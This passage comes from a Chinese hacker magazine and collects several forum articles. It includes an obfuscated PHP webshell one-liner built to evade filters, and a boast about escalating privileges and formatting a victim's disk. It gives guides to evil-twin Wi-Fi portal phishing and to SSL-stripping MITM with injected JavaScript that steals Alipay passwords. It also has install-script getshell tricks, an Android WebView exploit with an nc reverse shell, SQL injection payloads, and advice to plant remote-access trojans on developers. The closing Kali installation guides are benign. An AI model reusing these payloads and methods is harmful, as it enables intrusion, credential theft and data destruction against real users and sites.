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hdcnh.com    hdzge.com    zjwxhy.com    hsytvljw.com    hdcta.com 

czvxm.com    hsys53.com   hdzgx.com     zghaosyss.com 

nsmzu.com    快乐男声的，如图 4-3-7： 

 

图  4-3-7 

三、提权，格盘 

支持 ASPX，传个大马。 

PR 提权不说了，我把他放网站的盘打个包，就格盘了。如图 4-3-8，4-3-9，4-3-10： 

 
图  4-3-8 
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图  4-3-9 

 

图  4-3-10 

最后挂个警告，如图 4-3-11： 
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图  4-3-11 

求大牛解释那个万能密码的原因。 

这个过狗一句话大家都不知道么？不过要用过狗菜刀才能连接。 

<?php 

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; 

@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; 

@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} 

[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> 

（全文完）责任编辑：Rem1x 

第五章 无线与终端 

第1节. Wifi web 认证钓鱼 

作者：deleter 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org 
Wifi 有一种 web 方式认证方案，当连接到某些不加密的热点之后，会跳转到一个网页来认

证登陆，大家熟悉的 CMCC 就采用了这种 web 的验证方式。它的原理是在得到正确的认证

之前，会把所有的流量重定向到认证服务器上，通过认证后，便可以正常使用。 

如果说仅仅想获取 web 验证时其他用户的用户名和密码，arp 欺骗然后嗅探足够了。因为此

时攻击者已经分配到了 ip，且同一网关下产生的流量是不会重定向的。但是目前的情况是，
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认证服务器用的 https 加密传输，无法嗅探到明文密码。于是萌生了伪造热点及 web 认证服

务器，然后记录密码的想法。客户端在接受 WiFi 信号的时候有一个特点，在 ssid 相同的时

候，会只保留信号强的那一个无线路由的 ssid。这样，只要伪造热点的 ssid 与原热点的相同，

会有部分人搜到伪造的热点，从而登陆，记录密码。 

本无线路由用的 ddwrt 的系统，装了 wifidog 来进行辅助 web 认证。至于如何搭建 web 认证

系统，百度一大把，但主要是用了 wiwiz 和 wifiap 这两个成熟的网站提供的方案。但是，利

用第三方的网站无法拦截到用户名和密码，而且无法控制认证的过程。最好的解决方法是自

己搭建一个简单的系统。 

Wifidog 的认证流程如下： 

1、客户端发出一个 http 请求(http://www.xxx.com)； 

2、网关将该请求信息以及网关本身的一些信息作为参数，将原始的请求重定向到 web 认证

服务器(http://auth_server/login/)； 

3、Web 认证服务器通过客户端的认证之后，返回一个一次性的 token，客户端带着这个 token

去网关上的 wifidog 开放的端口去做验证：：

(http://GatewayIP:GatewayPort/wifidog/auth?token=[auth token])； 

4、Wifidog 拿到 token 后，到 web 认证服务器检测 token 是否有效，如果有效则通过客户端

的验证，开放访问权限，并将客户端重定向到 web 认证服务器的欢迎界面：

(http://auth_server/portal/)；如果 token 无效，则需要继续验证。 

Wifidog 官方推荐的 web 认证服务软件为 authpuppy (http://www.authpuppy.org)，不过其代

码比较复杂，可以参考 wifidog 之前的 web 认证服务软件。获取方式： 

svn checkout https://dev.wifidog.org/svn/trunk/wifidog-auth 

web 认证服务软件用 php 写成，重点文件为 wifidog-auth\wifidog\login\index.php(客户端 web

认证、产生 token 以及重定向到 wifidog 的开放端口)、

wifidog-auth\wifidog\auth\index.php(wifidog 验证 token)、

wifidog-auth\wifidog\portal\index.php(认证成功后页面重定向)、宏定义在

wifidog-auth\wifidog\include\common.php 文件中。 

了解了基本流程就可以 DIY 出一个简单的 web 认证服务器了。 

在认证的过程中可以顺便记录下客户端的密码。 

路由器上 Wifidog 配置如下图。 

重点配置的地方为端口号(port)，认证服务器(AuthServer Hostname)， 认证服务器 web 端

口(AuthServer HTTP Port)，路径(AuthServer Path)，如图 5-1-1： 

 

图  5-1-1 
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web 认证服务器端代码大家自己发挥吧。我个人只是实现了记录用户名密码这样一个简单的

功能，如果要做的好的话可以用用户提交的密码到真正的认证服务器做一次认证来返回合适

的结果，以及自己搭建 dns 服务器伪装的更加逼真，但是对于那些比较敏感的用户，还是不

容易进行欺骗的，比如用回会发现 ssl 加密不见了。 

考虑到功耗和实用问题，我的 web 认证服务器是搭建在树莓派上的。配置好无线路由的

WLAN 确保能联网之后，设置路由器的 ip 为 10.1.1.1，手工配置树莓派静态 ip 为 10.1.1.2。

树莓派上安装 nginx 和 php，配置好 webserver 的环境，上传自己的代码。开启无线路由的

wifidog 就可以守株待兔了。 

当用户连接到自己搭建的无线路由器之后，可以说所有的网络流量都在控制之中了。不过怎

么拿到这些流量成了一个问题。在此有三种拿到流量的方法。 

1、ARP 欺骗 

这个不多说，大家都懂。不过有种偏离正题的感觉。 

2、网线嗅探 

当所处的环境通过网线来连到互联网时可用这个方法。将网线接入自制的硬件并将另一端插

到无线路由的 WLAN 口，做好相应的配置。所需硬件参见我之前的一个帖子。原理类似于

Throwing star lan tap，直接监听网线上的数据（无线路由的 WLAN 口）。 

3、通过笔记本做中介 

当所处的环境只有无线网连到 Internet 时，可用笔记本来搭建一个中介。 

其连接关系为： 

AP—无线网卡—有线网卡—自己的无线路由—受害者。 

这时用笔记本就可以直接嗅探到所有的数据。 

这里以 windows 环境为例，演示如何搭建这个数据流链条。 

在无线网卡连接到无线网之后，在属性中选择 Internet 连接共享，共享给以太网卡（有线网

卡），如图 5-1-2： 

 

图  5-1-2 

此时有线网卡的 ip 会被设置为 192.168.137.1，如图 5-1-3： 
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图  5-1-3 

用网线连接有线网卡的网口和无线路由的 WLAN。在无线路由的配置页面，将 WLAN 口配置

静态 ip 为 192.168.137.2，子网掩码 255.255.255.0，网关为 192.168.137.1。 

这时整个数据流链条便搭建成功。 

至于在 linux 下的搭建，注意打开 ip_forward 功能，并配置好 iptables。因为没有 linux 环境，

不在此详细演示。 

对于流经网卡的数据包，可以收集的信息主要有两种：密码和 session。 

windows 下的 cain 用来嗅探并提取得到的用户名密码，改下规则也能得到特定的 cookie。 

linux 下的 ettercap 设置好规则能获取到几乎所有想要的信息，还能用来更改返回的 web 页

面、挂马、添加 cookie 等等，可谓神器。 

至于开启了 ssl 加密的服务器，可以用 ssltrip 来得到明文传送的数据。 

如果不怕麻烦的话，还可以自己搭设 dns 服务器来钓鱼，不过这样就有些杀鸡用牛刀了。 

PS：最近出了个叫极路由的东西，号称自动翻墙。目测是内置了一个 vpn。大家有兴趣可以

去了解下~ 

PS：利用 web 认证方式的热点是挂马利器哦。 

附件网盘下载：http://pan.baidu.com/share/link?shareid=1673291426&uk=1379004958 

（全文完）责任编辑：鲨影_sharow 

第2节. MITM 中间人攻击之绕过 https 认证截获敏感信息 

作者：redrain 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org 
好吧，我感觉我这会装逼装大了，这东西应该大家早就玩烂了，如果您看完后估计会来一句：

艹，这特么也好意思发？或者有才接触的朋友说：艹，这特么真流弊。不管哪种回答，我还

是当笔记一样微记录一下这个过程，大牛勿喷，如果有不对的请斧正。 

我们都知道，HTTP 是明文传输的，任何信息都不加密，所以有被截获重要信息的风险，如

密码，所以在必要的场合使用 HTTPS 加密传输，就能完全避免这类安全隐患，但是真的我

们就对他没办法了吗？ 

如果是从解密的角度来看，目前貌似是这样的，如果我们给想入侵的网站伪造一个证书，于

是就能用自己的公钥换来用户的私钥，但是这就会出现无效证书的提示。比如你访问 12306，

我没有黑天朝的意思，但是，我们虽然不能解密数据，却可以让某些应该使用 https 传输的

网站不使用 https。 

用户输入站点时（比如进入支付宝），输入一般都是：www.alipay.com，而不是：

https://www.alipay.com，然后浏览器再判断该站点是否为 https，情况如图 5-2-1： 
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图  5-2-1 

看得出来，当把他当作普通站点是访问后重定向到了 https://www.alipay.com，所以，当我们

拿到了一个无线 AP 或者我们建立了一个无线 AP 时，完全可以把用户重定向到其他网站。

但是这样很容易暴露，所以我们选择使用 node 来进行代理，流程为： 

用户 HTTP=>hacker 的代理=>支付宝 HTTPS。 

当服务器要求重定向到 HTTPS 网站，那么这个应答就不返回给用户了，而是模拟用户去访

问 HTTPS 资源，然后把数据放回给用户。这样，在用户看来，他访问的就是个 HTTPS 的站

点，但数据返回都是明文传输的，以此来达到截获明文信息的目的。 

首先，我们从 github 上搞到需要的东西：https://github.com/EtherDream/closurether 

npm install -g closurether 

closurether 

成功后会输出： 

[SYS] local ip: 192.168.1.213 

[DNS] running 0.0.0.0:53 

[WEB] listening 0.0.0.0:80 

这个 213 是我的 ip，打开无线路由器-DHCP 配置，将主 DNS 设置为自己的 IP，重启路由后，

就达到了劫持的目的。 

用浏览器访问任意页面时，都可以在 node 控制台看到每个请求的状况，打开修改

asset/inject/extern.js，加入 alert(‘hehe’);之类的此时， 

用户再打开支付宝即为,如图 5-2-2： 

 

图  5-2-2 
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看到脚本成功的注入了，说明劫持成功。 

下面就是截获信息了，不过这里值得注意的是： 

支付宝输入密码需要安全控件，所以这里稍微绕一绕。 

控件地址为：auth.alipay.com/login/homeB.htm?redirectType=parent，如图 5-2-3： 

 

图  5-2-3 

真心安全，在这个控件里输入任何信息都不会有消息事件，用啥 DOM 来监听的目测也不行。 

想要破解控件难度太大，不过只是为了密码，所以我们就做一个页面就成： 

var $ = function(v){return document.querySelector(v)}; 

$('.alieditContainer').innerHTML = '<input id="pwd" style="width: 100%; border: double 3px #ccc;" 

type="password" />'; 

然后在监听表单提交事件： 

$('form').addEventListener('submit', function(){ 

var usr = $('#logonId').value; 

var pwd = $('#pwd').value; 

alert('User: ' + usr + '\n' + 'Pwd: ' + pwd); 

post(usr, pwd); 

}); 

此后，当用户在此打开支付宝输入密码时，我们就可以轻松的获取其用户名和明文密码了,

如图 5-2-4： 
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图  5-2-4 

当然，你也可以写一个页面，专门来接受这些信息，但是因为用户不是在真实控件里输入的，

所以肯定登录不了，我们可以考虑拿到信息后即不再劫持。 

成功的因素其实还是有点苛刻的： 

1、你建立的无线 AP 有一定迷惑性，比如功率比正常的大，ssid 相似，密码一样，这样接入

的用户才会误以为接入的是正常的 AP，或者你拿下了整个 wifi 环境； 

2、目标站点要通过重定向； 

3、伪造的页面要逼真，这次我们还伪造了个假的控件； 

4、人品问题。 

（全文完）责任编辑：鲨影_sharow 

第六章 代码审计——c0deplay 团队专栏 

第1节. 细谈 Web 系统安装程序安全 

作者：Yaseng 

来自：C0dePlay Team 

网址：http://www.c0deplay.com 

前言 

作为一个 Web 系统，安装程序是必不可少的，提供安装系统,已连接数据库和初始化网站数

据，当首次安装时，系统一般会生成一个 lock 文件以免非法重装，但我们可以绕过已安装

检测，导致系统重装，系统数据丢失甚至 getShell，本文以多个实例浅谈 web 系统安装程序

的安全。 

关于程序安装文件 

web系统安装在第一次访问程序入口会自动安装， 以笔者熟悉的php为例，一般是 install.php  
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或者根目录下的 install 文件夹，安装流程如下，如图 6-1-1： 

 

图 6-1-1 

围观以上内涵图先,接下来我们用多个案例细谈之。 

最土团购直接重复安装加 getshell 

1.访问 www.site.com/install.php （有的人懒，并没有删除这个文件）； 

2.填写自己本机搭建好的 Mysql 帐户和 IP，重新安装之； 

3.注册一个帐户，第一个注册的默认为管理员； 

4.访问/manage/index.php； 

5.点击 设置--模版---选择 about_job.html   添加 PHP 一句话； 

6.用菜刀连接 site.com/about/job.php。 

Phpdisk header 绕过 

参考 http://pan.baidu.com/share/link?shareid=1685222400&uk=1379004958，如图 6-1-2： 

 
图 6-1-2 

从上图来看，进行已安装检测时,直接 header 跳转,而 php 中的 header 函数跳转之后还可以

执行,而为了安装方便去掉 gpc,导致重复安装直接 getShell, 如图 6-1-3： 
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图 6-1-3 

Xdcms 全局变量覆盖绕过重装 

参考：http://pan.baidu.com/share/link?shareid=1682069943&uk=1379004958 

看 install 下的 index.php 文件： 

foreach(Array('_GET','_POST','_COOKIE') as $_request){ 

 foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v); 

} 

经典的全局变量覆盖，代码的意思是把传入的变量数组遍历赋值，比如 $_GET*‘a’+  赋值为 

$a，Ok ，继续往下看已安装检测代码： 

$insLockfile = dirname(__FILE__).'/install_lock.txt';   //在全局数据遍历之前 

if(file_exists($insLockfile)){ 

 exit(" 程序已运行安装，如果你确定要重新安装，请先从 FTP 中删除 install/install_lock.txt！"); 

} 

这里的 insLockfile 是我们可控的(全局变量覆盖)，随便传入一个参数 ： 

http://demo.xdcms.cn/install/index.php?insLockfile=1，如图 6-1-4： 

 

                                       图 6-1-4 

以上为 xdcms 官方网站，利用 POC： 

http://www.xxx.com/install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&

dbpwd=&dbpre=c_&dblang=gbk&adminuser=yaseng&adminpwd=90sex 
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以上部分填写配置直接绕过重装。 

dcrcms 逻辑缺陷导致二次安装 

我们来看 dcrcms 非主流安装程序，没有已安装的检测代码，index.php 写入配置，传入

install_action.php，当安装结束时： 

function install_end() 

{ 

 //安装收尾 

 //把安装文件的名字换了 

 @rename('index.php', 'index.php_bak'); 

} 

额，改了 index.php 有毛用，index.php 只是一个配置数据的发射器，好吧 既然你改名 index 

我就本地写一个 index 吧, 如图 6-1-5： 

 

图 6-1-5 

提交本地表单，如图 6-1-6： 

 

                                    图 6-1-6 

Done !!! 
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Phpweb 重装 vip 验证绕过 

参考：http://pan.baidu.com/share/link?shareid=1685222400&uk=1379004958 

Phpweb 作为一个收费系统，安装时有会员验证，所以开发人员的天真地免去了已安装检测，

如图 6-1-7： 

 

图 6-1-7 

 但是安装流程由 post 过来的 nextstep 控制， 如图 6-1-8： 

 

图 6-1-8 

Firefox  tamper 直接绕过安装 (破解此程序未测试,感兴趣者可深入研究)，如图 6-1-9： 

 

图 6-1-9 
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其他绕过 

安装程序不能绕过时，可以通过别的方式，比如 dedecms 的任意文件删除，删除 lockfile， 

Xxxcms 的任意文件改名等等。 

安全代码的编写 

改名？ 加 lock  file ？ ..... 这些都有被绕过的危险，discuz 给了我们一个很好的答案。看

代码，安装完后访问后台：  

if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) { 

 @unlink(DISCUZ_ROOT.'./install/index.php'); 

 if(@file_exists(DISCUZ_ROOT.'./install/index.php')) { 

  dexit('Please delete install/index.php via FTP!'); 

 } 

} 

直接删除 index.php，下手干净利落,永除后患。 

总结： 

本文是笔者代码审计和项目开发时对 web 系统安装程序的简单评测，案例中有的在新版本

中已经修正，有些是未公布 0day，具体利用方法还要靠读者自行研究。 

本文原创,转载请注明来处：http://yaseng.me/web-installer-security.html 

承接代码审计项目：http://www.uauc.net/code-audit 

（全文完）责任编辑：游风 

第2节. web 程序安装代码安全之——yiqicms getshell 

作者：Yaseng 

来自：C0dePlay Team 

网址：http://www.c0deplay.com 

1:web 安装代码安全 

老话重提的一个 web 安全问题 

具体的分析见第一节中的《细谈 Web 系统安装程序安全》, 如图 6-2-1： 

 

图 6-2-1 
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2:yiqicms getshell 

首先我们来看 

rename("install.php","install.php.bak"); 

而 apache 对此文件时可以解析的。 

又其配置文件时以双引号配置的，故可以直接 getshell 。 

安装时密码设置为  {${phpinfo()}}。 

文件 config.inc.php，如图 6-2-2： 

<?php  

$cfg_db_host = "localhost"; 

$cfg_db_user = "root"; 

$cfg_db_pass = "{${phpinfo()}}"; 

 

图 6-2-2 

（全文完）责任编辑：游风 

第3节. Android webView 接口任意代码执行分析 

作者：Yaseng 

来自：C0dePlay Team 

网址：http://www.c0deplay.com 

1:关于 webview 和 addJavascriptInterface 

Webview 是 android ui 中一个基础组件，可以简单实现 webkit 内核浏览器。

addJavascriptInterface 提供了一个 javascript 调用 java 函数的接口。 

用于处理如 outh2 认证等功能。 

2:addJavascriptInterface 代码执行分析 
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addJavascriptInterface 使用 js 访问接口类任意 public 函数(Android sdk <4.2)，由于 java 坑爹

的继承机制，从而当 javascript 可控时。 

利用反射机制调用未注册的其它任何 JAVA 类命令执行的 poc： 

js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

//js2java 为 app 中接口类别名 addJavascriptInterface(xxx "js2java"); 

3:webview  app 实例测试  

为了测试方便，先简单的 webview 实例并实现 addJavascriptInterface  接口，核心代码如下： 

wv=(WebView)findViewById(R.id.wv); 

        wv.getSettings().setJavaScriptEnabled(true);  

        wv.getSettings().setJavaScriptCanOpenWindowsAutomatically(true); 

        wv.addJavascriptInterface(new ProxyBridge(), "js2java"); 

.......... 

   public class ProxyBridge {   

          public String  test() { 

          

         Toast.makeText(getApplicationContext(),"js test",Toast.LENGTH_SHORT).show(); 

         System.out.println("test"); 

         return  "test";   

        }   

    }    

简单而又轻巧的浏览器，如图 6-3-1： 

 

图 6-3-1 

在 android 4.0(api 10) 运行程序 打开反弹的 poc 页面，先来个简单的 nc 反弹 。  

根据 livers@wooyun 的反弹姿势 ： 
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execute(["/system/bin/sh","-c","nc 192.168.1.106 8889|/system/bin/sh|nc 192.168.1.106 9999"]); 

先在本地监听两个端口 果断反弹回来鸟，如图 6-3-2： 

 

图 6-3-2 

详见附件：http://pan.baidu.com/share/link?shareid=1079472737&uk=3778218071 

（全文完）责任编辑：游风 

第4节. B2BBuilder 实例科普 MySql 报错注入的几个姿势 

作者：路人甲 

来自：C0dePlay Team 

网址：http://www.c0deplay.com 
测试系统：window 7 

谷歌浏览器 

测试要求：系统安装及其 PHP 环境搭建为默认 

代码分析 

在 aboutus.php 文件中的第 56 行，出现一注入点： 

$type=empty($_GET['type'])?$all_web[0]['con_id']:$_GET['type'];//type 存在为过滤，直接带入数据检索 

if(!empty($dpid)) 

 $sub_sql=" and con_province='$dpid' and (con_city='' or con_city is NULL) "; 

if(!empty($dcid)) 

 $sub_sql=" and con_city='$dcid' "; 

$sql="select con_desc,template,con_title,title,keywords,description,msg_online from ".WEBCON." WHERE 

con_id='$type' $sub_sql"; 

$db->query($sql); 

$de=$db->fetchRow(); 

$tpl->assign("de",$de); 

经过分析可以直接用报错注入让敏感信息泄漏，如图 6-4-1： 



《安全参考》——信息安全整合型期刊     官方网站：www.hackcto.com    杂志编号：HACKCTO-2013-09 

第 99 页 / 共 113 页  官方微博：http://t.qq.com/hackcto    出版日期：每月 15 日    定价：20 元 

 
图 6-4-1 

利用代码如下： 

第一种：利用通过 floor 报错 

http://localhost/b2b/aboutus.php?type=1' aNd (SELECT 1 FROM (select 

count(*),concat(floor(rand(0)*2),(substring((Select (user())),1,62)))a from information_schema.tables group by 

a)b) and 'z'='z 

第二种:利用 ExtractValue 报错，如图 6-4-2： 

http://localhost/b2b/aboutus.php?type=1' and extractvalue(1, concat(0x5c, (select user() from 

information_schema.tables limit 1))) and 'z'='z 

 
图 6-4-2 

第三种:利用 UpdateXml 报错，如图 6-4-3： 

http://localhost/b2b/aboutus.php?type=1' and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) and 

'z'='z 

 

图 6-4-3 

第四种: name_cons 报错注入： 

http://localhost/b2b/aboutus.php?type=1' and exists(select*from (select*from(select 

name_const(@@version,0))a join (select name_const(@@version,0))b)c)  

（全文完）责任编辑：游风 
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第七章 ENURON 团队专栏 

第1节. Galaxy Note 10.1 安装 Kali ARM 

作者：akast/何伊圣 

来自：NEURON 

网址：ngsst.com 

一、Root Android 

Kali官方的文档介绍的ARM安装硬件里面在国内只有Galaxy Note 10.1 和 Raspberry Pi 能直

接买到，ODROID U2 韩国、三星 Chromebook ARM 美国、MK/SS808 美国都买不方便。但

是 Raspberry Pi 性能的确一般，这里再介绍一下 Galaxy Note 10.1 的安装过程吧。 

首先要获得 Galaxy Note 10.1 的 root 权限，现在的 root 工具大把了，把安卓的驱动安装好，

就可以进行 root 了，360一键 Root 比腾讯的好用，如图 7-1-1： 

 

图  7-1-1 

二、下载、解压、重命名 

到 kali 官方 http://www.kali.org/downloads/下载 kali-linux-1.0.4-armhf-n8000.img.xz，

http://cdimage.kali.org/kali-linux-1.0.4-armhf-n8000.img.xz ，解压 xz 文件，然后把

kali-linux-1.0.4-armhf-n8000.img 重命名为 linux.img。再下载 recovery.img 文件：

http://docs.kali.org/downloads/recovery.img，如图 7-1-2： 
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图  7-1-2 

把 recovery.img 和 linux.img 两个文件复制到平板的/storage/sdcard0 目录下面，如图 7-1-3: 

 
图  7-1-3 

三、下载 ADB 

ADB 的全称为(Android Debug Bridge，是 SDK 的 Tools 文件夹下包含着 Android 模拟器操作的

重要命令，就是调试桥的作用。通过 adb 我们可以在 Eclipse 中方面通过 DDMS 来调试 Android

程序。借助这个工具，我们可以管理设备或手机 模拟器的状态。还可以进行以下的操作： 

1、快速更新设备或手机模拟器中的代码，如应用或 Android 系统升级；  

2、在设备上运行 shell 命令；  

3、管理设备或手机模拟器上的预定端口；  

4、在设备或手机模拟器上复制或粘贴文件。 

四、备份原有的 recovery 分区 

通过 cmd 命令行运行上面下载的 adb 工具，执行 dd 命令进行备份 recovery 分区，避免平板

变砖了还可以恢复，但如果在那步操作出错真的变砖了，可不要找我。 

这里把原有的 recovery 分区备份为 recovery.img_orig 文件，一样在/storage/sdcard0/目录下
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面，可以把它复制出来保存到电脑上，就下面四条命令，如图 7-1-4： 

E:\KALI\adb shell>adb shell 

1|shell@android:/ $ su 

1|shell@android:/ # dd if=/dev/block/mmcblk0p6 of=/storage/sdcard0/recovery.img_orig 

shell@android:/ #exit 

 

E:\KALI\adb shell>adb shell 

* daemon not running. starting it now * 

* daemon started successfully * 

shell@android:/ $ dd if=/dev/block/mmcblk0p6 of=recovery.img_orig 

dd if=/dev/block/mmcblk0p6 of=recovery.img_orig 

/dev/block/mmcblk0p6: cannot open for read: Permission denied 

1|shell@android:/ $ su 

su 

shell@android:/ # dd if=/dev/block/mmcblk0p6 of=recovery.img_orig 

dd if=/dev/block/mmcblk0p6 of=recovery.img_orig 

recovery.img_orig: cannot open for write: Read-only file system 

1|shell@android:/ # dd if=/dev/block/mmcblk0p6 of=/storage/sdcard0/recovery.img_orig 

=/storage/sdcard0/recovery.img_orig                                           < 

16384+0 records in 

16384+0 records out 

8388608 bytes transferred in 2.433 secs (3447845 bytes/sec) 

shell@android:/ #exit 

 

图  7-1-4 

五、替换原有的 recovery 分区 

在备份好我们平板原有的 recovery 分区之后，我们就可以开始使用从 kali 官方下载的

recovery.img 文件进行替换了，如图 7-1-5： 

1|shell@android:/ # dd if=/storage/sdcard0/recovery.img of=/dev/block/mmcblk0p6 
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图  7-1-5 

E:\KALI\adb shell>adb shell 

shell@android:/ $ su 

su 

shell@android:/ # dd if=recovery.img of=/dev/block/mmcblk0p6 

dd if=recovery.img of=/dev/block/mmcblk0p6 

recovery.img: cannot open for read: No such file or directory 

1|shell@android:/ # dd if=/storage/sdcard0/recovery.img of=/dev/block/mmcblk0p6 

ry.img of=/dev/block/mmcblk0p6                                                < 

12588+0 records in 

12588+0 records out 

6445056 bytes transferred in 1.563 secs (4123516 bytes/sec) 

shell@android:/ # exit 

exit 

shell@android:/ $ exit 

exit 

E:\KALI\adb shell> 

六、重启进入 kali 

替换完成之后就关机，同时按“电源键+音量加键”进入平板的 recovery 模式，当出现“Samsung 

Galaxy Note 10.1”字符时松开“电源键”，但保持按着“音量加键”，这样就行自动登录 kali

的 Gnome 桌面了。 

默认的 root 密码是：changeme，建议把密码清空。可以通过菜单打开屏幕键盘：Applications 

-> Universal Access -> Florence Virtual Keyboard。如果没有看到无线网络就手动添加就行了。 

这种安装方式不需要安装模拟终端和 VNC 客户端，所有能进入 recovery 模式的平板都可以

使用这样安装方式。 

最后的效果，如图 7-1-6,7-1-7： 
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图  7-1-6 

 

图  7-1-7 

（全文完）责任编辑：鲨影_sharow 
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第2节. 怎么获取非开源网站系统的源代码 

作者：akast/何伊圣 

来自：NEURON 

网址：ngsst.com 

一、扯淡一段 

我们做渗透测试，需要的是什么？ 

需要漏洞，漏洞是什么？ 

漏洞是可以利用来获取我们想要得到的东西的途径，技术或是非技术的，但漏洞从何而来？ 

分析，分析什么？ 

分析对方人员的思想或源代码。 

人的思想有固定的，也有漂浮不定的，难以捉摸„„ 

我们聊聊怎么获取源代码吧„„ 

这里我们只是聊聊天，不承担法律责任。 

二、谷歌代码搜索 

比如这个商业网站程序源代码，居然使用了 Google 的代码托管平台来进行开发工作，对于

这样的程序员该怎么评价他呢？你们这套网站源码本不是开源的，但是任何人使用 svn 都能

下载这款源代码了，客户的安全怎么保障？ 

svn checkout 

http://shenchanglicujinzhongxin88.googlecode.com/svn/trunk/shenchanglicujinzhongxin88-read

-only，如图：7-2-1,7-2-2,7-2-3： 

 

图  7-2-1 

 

图  7-2-2 
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图  7-2-3 

三、FTP 搜索 

除了 HTTP 搜索之外，似乎现在很少人会使用 ftp 搜索引擎，但这一块经常会遇到一些意外

的收获。比如这里使用 ftp 搜索就能直接找到可以匿名访问的 FTP，其里面就是我们想要获

取的网站源代码，还有数据库，如图 7-2-4,7-2-5： 

 

图  7-2-4 
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图  7-2-5 

四、渗透开发商官方 

除了使用搜索引擎这样间接的搜寻方法之外，最直接的就是渗透开发商官方了，这里也简单

分为两个途径： 

1.渗透官方相关服务器 

发现国内一些开发商会把其一些系统的源代码打包放在其官网服务器上面，为何要这样做？

我只想说进行这样操作的管理员早该开除了。 

而且还有一些官方把完完整整的所有系列的源代码都整整齐齐的打包放在服务器上面，是官

方网站的服务器，好像是等着黑客来取一样。国内的 XXS、X 达„„就是这样。 

2.渗透官方的开发人员 

现在很少有程序员会把一套源代码完完整整放在自己个人电脑上吧？特别是开发团队很大

的这种大型网站系统，所以通过开发人员来获取源代码是需要走一些弯路的。如果你有好的

远控马儿，使用社工方法送对方一个，然后慢慢跟吧。 

首先，要弄清楚谁是开发人员； 

然后，确定代码存放位置； 

最后，确定怎么样获取源代码。 

五、渗透第三方使用单位 

第三方使用单位就是使用我们想要的这套源代码的公司或政府机构了，特别是开发商们都非

常乐意的清清楚楚介绍他们的客户案例，10 家世界 500 强客户、100 家国内上市公司客户、

100 多家政府单位、总计 3000 多家客户、8000 多个成功案例„„所有项目背景解决方案都

列出来了，这么多随便渗透进去一个都能拿到源代码啊，那你这套源代码还卖个屁啊，还值

钱吗？ 
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大家可以举一反三的，以此类推，除了可以搞 web 应用源代码之外，利用这样公开的“客

户案例”介绍我们还可以做什么？物理渗透？目前几乎各个地区典型的建筑物里各类系统工

程都被作为客户案例了吧，比如下面这个屏幕墙„„那么我们想要物理渗透这些建筑物，需

要做什么？如图 7-2-6,7-2-7,7-2-8： 

 

图  7-2-6 

 

图  7-2-7 
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图  7-2-8 

六、以服务方式获取 

白盒的源代码安全审计服务——这是最“合法”的获取方式了，当然我们要做保密，但这也

只是相对而论的保密，大家都知道，没有什么是绝对的。 

1.客户自己内部开发的源代码 

对于客户自己开发的源码，客户的保密要求肯定会很严密，但是这类源码使用范围一般也就

仅限于该客户单位里面了，对外面也没什么价值，除非遇到了针对性的 APT。 

2.客户购买的商业源代码 

商业性的系统源码是通用的，客户也许会觉得自己能买到别人也能买到，而且一般是业界同

行的才会用到同类的系统，在同行竞争恶劣的情况下，会不会使用黑客手段去攻击竞争对手

呢？其实这个问题已经不用再问了，新闻报道都不少见。买一套竞争对手使用的系统源代码，

然后找黑客挖些漏洞去渗透对方„„嘿嘿„„，所以说这类源代码价值很大。 

最后，我想说安全不能外包，不能兼职„„ 

（全文完）责任编辑：鲨影_sharow 

第3节. 微型卡片电脑树莓派安装 KALI 

作者：akast/何伊圣 

来自：NEURON 

网址：ngsst.com 

一、综述 

说到树莓派，我想吃货肯定立马想到吃的了，其实我也很喜欢吃麦当劳的红豆派。本文介绍

的是一款只有信用卡大小却具有电脑的所有基本功能的卡片电脑——Raspberry Pi(中文名

为“树莓派”,简写为 RPi，或者 RasPi/RPi)。它由注册于英国的慈善组织“Raspberry Pi 基

金会”开发，这一基金会以提升学校计算机科学及相关学科的教育，让计算机变得有趣为宗

旨。基金会期望这 一款电脑无论是在发展中国家还是在发达国家，会有更多的其它应用不

断被开发出来，并应用到更多领域。 

在 2006 年树莓派早期概念是基于 Atmel 的 ATmega644 单片机，2012 年 3月，项目带头人
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埃本•阿普顿 Eben Epton 正式发售世界上最小的台式机，截止至 2012 年 6 月 1 日，树莓派

只有 A 和 B 两个型号，主要区别： 

A 型：1 个 USB、无有线网络接口、功率 2.5W,500mA、256MB 内存，25 美元； 

B 型：2 个 USB、支持有线网络、功率 3.5W，700mA、512MB 内存，35 美元。如图 7-3-1,7-3-2： 

 

图  7-3-1 

 

图  7-3-2 

二、简介 

它是一款基于 700MHz 博通出产的 ARM 架构 BCM2835 处理器的微型电脑主板，以 SD 卡为 

内存硬盘，同时拥有 RCA 端子视频模拟信号的电视输出接口和 HDMI(支持声音输出)高清视

频输出接口，以上部件全部整合在一张仅比信用卡稍大的主板上，具备所有 PC 的基本功能

只需接通电视机和键盘，就能执行如电子表格、文字处理、玩游戏、播放高清视频等著多功

能。 Raspberry Pi B 款只提供电脑板，无内存、电源、键盘、机箱或连线。可以执行像雷神

之锤 III 竞技场的游戏和进行 1080p 影片的播放。操作系统采用开源的 Linux 系统，比如：

Debian、ArchLinux，自带的 Iceweasel、KOffice 等软件能够满足基本的网络浏览，文字处理
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以及计算机学习的需要。 

树莓派的生产是通过有生产许可的两家公司：Element 14/Premier Farnell 和 RS Components。

这两家公司都在网上出售树莓派，目前我们国内深圳的韵动电子有限公司也是授权商之一，

可以通过淘宝进行购买。 

树莓派基金会提供了基于 ARM 的 Debian 和 Arch Linux 的发行版供大众下载。还计划提供支

持Python作为主要编程语言，支持BBC BASIC , (通过 RISC OS 映像或者 Linux的"Brandy Basic"

克隆),C， 和 Perl 等编程语言，如图 7-3-3： 

 

图  7-3-3 

三、安装系统 

首先要准备一张 4G 以上的 SD 卡，推荐 8G，至于确实要用多大空间就要看你的系统大小了，

最好是高速卡，推荐 Class 10 以上的卡，因为卡得速度直接影响树莓派的运行速度，用读卡

